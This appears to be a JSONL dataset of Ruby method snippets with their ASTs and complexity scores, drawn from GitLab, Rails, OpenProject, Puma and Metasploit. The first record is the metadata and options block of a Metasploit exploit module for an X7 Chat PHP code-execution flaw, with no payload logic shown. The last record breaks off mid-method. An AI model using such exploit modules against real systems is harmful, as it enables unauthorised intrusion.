{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/x7chat2_php_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',\n        'Description' => %q{\n          This module exploits a post-auth vulnerability found in X7 Chat versions\n          2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which\n          uses preg_replace() function with the /e modifier. This allows a remote\n          authenticated attacker to execute arbitrary PHP code in the remote machine.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development\n          'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco\n        ],\n        'References' => [\n          [ 'BID', '71014' ],\n          [ 'CVE', '2014-8998' ],\n          # Using this URL because isn't nothing else atm\n          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']\n        ],\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [['Generic (PHP Payload)', {}]],\n        'DisclosureDate' => '2014-10-27',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),\n        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),\n        OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a post-auth vulnerability found in X7 Chat versions\\n\"]},{\"type\":\"str\",\"children\":[\"          2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which\\n\"]},{\"type\":\"str\",\"children\":[\"          uses preg_replace() function with the /e modifier. This allows a remote\\n\"]},{\"type\":\"str\",\"children\":[\"          authenticated attacker to execute arbitrary PHP code in the remote machine.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Fernando Munoz <fernando[at]null-life.com>\"]},{\"type\":\"str\",\"children\":[\"Juan Escobar <eng.jescobar[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"71014\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8998\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/rapid7/metasploit-framework/pull/4076\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic (PHP Payload)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-10-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pasword to authenticate as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base x7 Chat directory path\"]},{\"type\":\"str\",\"children\":[\"/x7chat2\"]}]}]}]}]}]}]}","id":"7ec203db-7682-4c74-bd95-5da5a186a2fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/extract_metadata_content_service.rb","start_line":70,"raw_source":"def extract_tags\n        tags = doc.xpath(XPATH_TAGS).text\n\n        return [] if tags.blank?\n\n        tags.split(::Packages::Tag::NUGET_TAGS_SEPARATOR)\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"xpath\",{\"type\":\"const\",\"children\":[null,\"XPATH_TAGS\"]}]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"split\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Tag\"]},\"NUGET_TAGS_SEPARATOR\"]}]}]}]}","id":"0e4d92ca-a2bd-4101-947d-35286cb5b1fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":1080,"raw_source":"def merge_base(*commits_or_ids)\n    commit_ids = commits_or_ids.map do |commit_or_id|\n      commit_or_id.is_a?(::Commit) ? commit_or_id.id : commit_or_id\n    end\n\n    raw_repository.merge_base(*commit_ids)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_base\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"commits_or_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits_or_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit_or_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_or_id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Commit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_or_id\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"commit_or_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"merge_base\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_ids\"]}]}]}]}]}","id":"22012003-3dbe-4ea7-9406-9039ed813160"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/page_hierarchy_helper.rb","start_line":48,"raw_source":"def render_hierarchy_item(page, is_parent, options = {})\n      content_tag(:span, class: \"tree-menu--item\", slug: page.slug) do\n        concat link_to(page.title,\n                       url_helpers.project_wiki_path(page.project, page),\n                       title: hierarchy_item_title(options, page),\n                       class: \"tree-menu--title ellipsis #{'-parent-node' if is_parent}\") do\n        end\n        if is_parent\n          concat content_tag(:span,\n                             hierarchy_span_content(is_parent),\n                             class: \"tree-menu--hierarchy-span\")\n        end\n      end\n    end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"render_hierarchy_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"is_parent\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"tree-menu--item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"slug\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_wiki_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"hierarchy_item_title\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tree-menu--title ellipsis \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_parent\"]},{\"type\":\"str\",\"children\":[\"-parent-node\"]},null]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_parent\"]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[null,\"hierarchy_span_content\",{\"type\":\"lvar\",\"children\":[\"is_parent\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"tree-menu--hierarchy-span\"]}]}]}]}]},null]}]}]}]}","id":"0ea7b6ab-c1a1-4d8b-ace8-518c479c2727"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/loose_foreign_keys/modification_tracker.rb","start_line":43,"raw_source":"def over_limit?\n      @delete_count_by_table.values.sum >= max_deletes ||\n        @update_count_by_table.values.sum >= max_updates ||\n        monotonic_time - @start_time >= max_runtime\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"over_limit?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delete_count_by_table\"]},\"values\"]},\"sum\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"max_deletes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@update_count_by_table\"]},\"values\"]},\"sum\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"max_updates\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@start_time\"]}]},\">=\",{\"type\":\"send\",\"children\":[null,\"max_runtime\"]}]}]}]}","id":"7f774873-c1ea-444c-9110-ae9250ccf378"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/event_manager.rb","start_line":46,"raw_source":"def wrong_meter_version(meter = meter_type)\n  print_error(\"#{meter} version of Meterpreter is not supported with this script!\")\n  raise Rex::Script::Completed\nend","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wrong_meter_version\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"meter\",{\"type\":\"send\",\"children\":[null,\"meter_type\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meter\"]}]},{\"type\":\"str\",\"children\":[\" version of Meterpreter is not supported with this script!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Completed\"]}]}]}]}","id":"a5f5b9cf-16b8-403f-ace4-22b81ba25454"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload.rb","start_line":279,"raw_source":"def session\n    return module_info['Session']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Session\"]}]}]}]}","id":"73bd9a54-df1e-43a8-b8e0-b7163f23f70c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/services/calendar/create_ical_service.rb","start_line":100,"raw_source":"def dtend_value(work_package)\n      Icalendar::Values::Date.new(due_date(work_package))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dtend_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Icalendar\"]},\"Values\"]},\"Date\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"due_date\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}","id":"3419109c-3ef5-4622-95c2-e46137c947e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/master_pipeline_status.rb","start_line":17,"raw_source":"def check!\n        return unless helper.ci? && applicable_mr?\n\n        failed_master_pipeline_jobs = master_pipeline_jobs_statuses.select { |job| job['status'] == 'failed' }\n        return if failed_master_pipeline_jobs.empty?\n\n        pipeline_jobs = pipeline_jobs(ENV['CI_PROJECT_ID'], ENV['CI_PIPELINE_ID'])\n        return if pipeline_jobs.empty?\n\n        job_statuses_to_warn = impacted_job_statuses(pipeline_jobs, failed_master_pipeline_jobs)\n        warn(construct_message(job_statuses_to_warn)) if job_statuses_to_warn.any?\n      end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"ci?\"]},{\"type\":\"send\",\"children\":[null,\"applicable_mr?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"failed_master_pipeline_jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"master_pipeline_jobs_statuses\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_master_pipeline_jobs\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_jobs\",{\"type\":\"send\",\"children\":[null,\"pipeline_jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PROJECT_ID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PIPELINE_ID\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_jobs\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"job_statuses_to_warn\",{\"type\":\"send\",\"children\":[null,\"impacted_job_statuses\",{\"type\":\"lvar\",\"children\":[\"pipeline_jobs\"]},{\"type\":\"lvar\",\"children\":[\"failed_master_pipeline_jobs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_statuses_to_warn\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[null,\"construct_message\",{\"type\":\"lvar\",\"children\":[\"job_statuses_to_warn\"]}]}]},null]}]}]}","id":"b7efb694-f657-4506-8f79-c25c067f52da"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/registration_test.rb","start_line":8,"raw_source":"def setup\n        @original_adapters = ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).dup\n        ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).delete(\"fake\")\n        @fake_adapter_path = File.expand_path(\"../../support/fake_adapter.rb\", __dir__)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_adapters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@adapters\"]}]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@adapters\"]}]},\"delete\",{\"type\":\"str\",\"children\":[\"fake\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fake_adapter_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../support/fake_adapter.rb\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}]}","id":"ea64f3b3-e855-407f-8ec6-6d79921dd158"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":505,"raw_source":"def redis_trait_debugging_tip_if_applicable\n    return if @values.none? do |key_path, values|\n      dirty_redis = values.first.nonzero?\n      unique_metric = get_metric_definition(key_path).event_selection_rules.any?(&:unique_identifier_name)\n\n      dirty_redis && unique_metric\n    end\n\n    \"\\n\\nDebugging tip: Add the :clean_gitlab_redis_shared_state trait to reset event counters between examples.\"\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_trait_debugging_tip_if_applicable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_path\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dirty_redis\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"nonzero?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unique_metric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_metric_definition\",{\"type\":\"lvar\",\"children\":[\"key_path\"]}]},\"event_selection_rules\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_identifier_name\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirty_redis\"]},{\"type\":\"lvar\",\"children\":[\"unique_metric\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"str\",\"children\":[\"\\n\\nDebugging tip: Add the :clean_gitlab_redis_shared_state trait to reset event counters between examples.\"]}]}]}","id":"c679694a-ea26-481a-bf84-4be8cee88d4f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/health_service.rb","start_line":104,"raw_source":"def reason_is_same?(new_health_reason)\n      @storage.health_reason_identifier == ::Storages::Storage.extract_part_from_piped_string(new_health_reason, 0)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reason_is_same?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_health_reason\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"health_reason_identifier\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"Storage\"]},\"extract_part_from_piped_string\",{\"type\":\"lvar\",\"children\":[\"new_health_reason\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"a99ef1d0-9ae3-4809-b52c-632297ec70fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241213095809_change_organization_id_default_oauth_2.rb","start_line":7,"raw_source":"def change\n    TABLES.each do |table|\n      change_column_default(table, :organization_id, from: 1, to: nil)\n    end\n  end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"88bddf1d-e28a-4f0e-b791-cc0e4756be97"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":395,"raw_source":"def test_render_renderable_object\n    assert_equal \"Hello: david\", @view.render(partial: \"test/customer\", object: Customer.new(\"david\"))\n    assert_equal \"FalseClass\", @view.render(partial: \"test/klass\", object: false)\n    assert_equal \"NilClass\", @view.render(partial: \"test/klass\", object: nil)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_renderable_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello: david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"FalseClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/klass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"NilClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/klass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"1252be10-52c4-4672-918b-768676f5b332"}
{"repo_name":"puma","file_path":"./repos/puma/benchmarks/local/bench_base.rb","start_line":58,"raw_source":"def initialize\n      sleep 0.2     # wait for server to boot\n\n      @thread_loops       = nil\n      @clients_per_thread = nil\n      @req_per_client     = nil\n      @body_sizes         = SIZES\n      @body_types         = TYPES\n      @dly_app            = nil\n      @bind_type          = :tcp\n\n      @worker_req_ttl = {}\n      @pids = {}\n\n      @ios_to_close = []\n\n      setup_options\n\n      unless File.exist? @state_file\n        puts \"Can't find state file '#{@state_file}'\"\n        exit 1\n      end\n\n      mstr_pid = File.binread(@state_file)[/^pid: +(\\d+)/, 1].to_i\n      begin\n        Process.kill 0, mstr_pid\n      rescue Errno::ESRCH\n        puts 'Puma server stopped?'\n        exit 1\n      rescue Errno::EPERM\n      end\n\n      case @bind_type\n      when :ssl, :ssl4, :tcp, :tcp4\n        @bind_host = HOST4\n        @bind_port = PORT\n      when :ssl6, :tcp6\n        @bind_host = HOST6\n        @bind_port = PORT\n      when :unix\n        @bind_path = 'tmp/benchmark_skt.unix'\n      when :aunix\n        @bind_path = '@benchmark_skt.aunix'\n      else\n        exit 1\n      end\n    